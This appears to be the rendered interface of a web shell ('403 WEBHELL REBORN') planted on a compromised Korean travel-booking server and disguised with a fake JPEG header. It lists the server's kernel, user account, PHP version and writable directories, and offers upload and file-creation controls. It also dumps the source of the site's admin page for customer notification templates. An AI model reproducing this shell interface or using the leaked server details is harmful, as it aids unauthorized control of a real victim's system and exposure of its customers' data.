ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/setting/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/setting/macro_at_reg.html
<?
include "../include/top_iframe.html";
include "_common.php";

// 구분
if(!$type) $type = "S"; // SMS

// 분류
$data_tab = TO_good_module("common");

$SqlType="macro_ins";
if($midx) {
	$SqlType="macro_updt";
	
	// 상용구 정보
	$data = to_macro_list(array('midx'=>$midx));
	$row = $data[0];

	// 진행전달
	$data_res = base_codec("PRD",$row['resp']); 

	// 구분
	$type = $row['type'];

	switch($row['tab']){
		case 'T':
			$tab_nm = "티켓";
			break;
		case 'P':
			$tab_nm = "여행";
			break;
		case 'L':
			$tab_nm = "호텔";
			break;
		default :
			$tab_nm = "기타";
			break;
	}
}
?>
<div class="iframe" style="padding-left:0px;margin-left:10px;">
<!-- 본문 -->

<!-- 폼 -->
<form name="frm_macro" id="frm_macro" method="post" enctype="multipart/form-data">
<input type="hidden" name="SqlType" value="<?=$SqlType?>">
<input type="hidden" name="tmp_layer_id" value="<?=$tmp_layer_id?>">
<input type="hidden" name="midx" value="<?=$midx?>">
<input type="hidden" name="type" value="<?=$type?>">
<input type="hidden" name="tab" value="<?=$row['tab']?>">
<input type="hidden" name="resp" value="<?=$row['resp']?>">
<input type="hidden" name="res_cd" value="<?=$row['res_cd']?>">
<input type="hidden" name="res_cd2" value="<?=$row['res_cd2']?>">
	<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
	<tbody>
		<tr>
			<th width="15%">분류</th>
			<td width="40%" class="top_line">
				<?=$tab_nm?>
			</td>
			<th width="15%">예약상태</th>
			<td width="30%">
				<?foreach($data_res as $v){
					if($row['res_cd']==$v['code']) echo $v['cd_nm'];
				}?>
			</td>
		</tr>
		<tr>
			<th style="color:red;">템플릿코드<br>(비즈뿌리오)</th>
			<td>
				<input type="text" name="at_tpl_code" id="" class="input_text"  value="<?=$row['at_tpl_code']?>" style="width:150px;" hname="템플릿코드" required>
			</td>
			<th class="top_line" width="50">자동발송</th>
			<td class="top_line">
				<select name="auto_send" style="width:100px;" hname="코드" required>
					<option value="Y" <?=($row['auto_send']=="Y")?"selected":""?>>Y</option>
					<option value="N" <?=($row['auto_send']!="Y")?"selected":""?>>N</option>
				</select>
			</td>
		</tr>
		<tr>
			<th>제목</th>
			<td colspan="3"><input type="text" name="subj" id="" class="input_text"  value="<?=$row['subj']?>" style="width:400px;" hname="제목" required>
			</td>
		</tr>
		<tr>
			<th>연동상품명</th>
			<td colspan="3"><input type="text" name="memo" id="" class="input_text"  value="<?=$row['memo']?>" style="width:400px;">
			</td>
		</tr>
		<tr>
			<th style="color:red;">내용</th>
			<td><textarea name="cont" id="" class="input_text" value="" style="width:270px; height:350px;" hname="내용" required><?=$row['cont']?></textarea>
			</td>
			<td colspan="2">
				<p style="color:red;font-weight:bold;">[카카오 알림톡 상용구]</p>
				아래나열된 키워드를 사용하시면, 자동으로 대체해서 고객께 발송됩니다.<br><br>

				<b>공통정보</b><br>
				#{회사명} #{오늘날짜}<br><br>

				<b>예약정보</b><br>
				#{상품명} #{행사명} #{접수번호} #{예약번호} #{진행상태}<br> #{시작일} #{종료일}<br> #{총인원} #{성인인원} #{아동인원} #{최종결재액}<br><br>

				<b>고객정보</b><br>
				#{고객명} #{회원아이디} #{회원핸드폰} #{가입일}<br><br>

				<b>URL</b><br>
				#{사이트주소} #{바코드링크} #{회원정보링크} #{나의예약링크}<br><br>

				<b>호텔정보</b><br>
				#{호텔바우처번호} #{호텔이름}<br> #{객실타입} #{룸수} #{박수}<br><br>

				<p style="color:red;font-weight:normal;">★상품 타입에 따라 사용되는 상용구가 다릅니다.<br>★모든 내용은 비즈뿌리오와 동일하게 맞춰주세요<br>★템플릿 내용 수정 시 비즈뿌리오에 먼저 승인을 받아주세요.</p>
			</td>
		</tr>
		<tr>
			<th style="color:red;">버튼</th>
			<td colspan="3">
				버튼명 <input type="text" name="at_button_name" id="" class="input_text"  value="<?=$row['at_button_name']?>" style="width:150px;">
				URL <input type="text" name="at_button_url" id="" class="input_text"  value="<?=$row['at_button_url']?>" style="width:350px;">
			</td>
		</tr>
	</tbody>
	</table>

<ul class="btn_button">
	<li class="btn_sky"><a href="javascript:;" onclick="chk_form();">저장</a></li>
</ul>
</form>
<!-- /폼 -->

<script type="text/javascript">
function chg_tab(tab)
{
	if(!tab) return;

	var resp;

	// 진행전달
	switch(tab) {
		case "P":
		case "D":
				resp = "RESP";
			break;
		case "L":
				resp = "RES";
			break;
		case "A":
				resp = "RESA";
			break;
		case "R":
				resp = "RESR";
			break;
	}

	$("#frm_macro input[name='resp']").val(resp);

	$(".item_res_cd option").remove();
	$(".item_res_cd").append('<option value=""></option>');

	var url='json.codec.html';
	var q='resp='+resp;
	$.post(url,q,function(data){
		$.each(data , function(id,r){
			$(".item_res_cd").append('<option value="'+r.code+'">'+r.cd_nm+'</option>');
		});
		
	},'json');
}

// 폼저장
function chk_form()
{
	var f = document.frm_macro;
	
	var result = to_validation(f);
	
	if (result==false) return;

	if ( !confirm('저장하시겠습니까?') ) return;

	ajax_post('ajax_proc','macro_proc.html','frm_macro');
}


</script>


Anon7 - 2021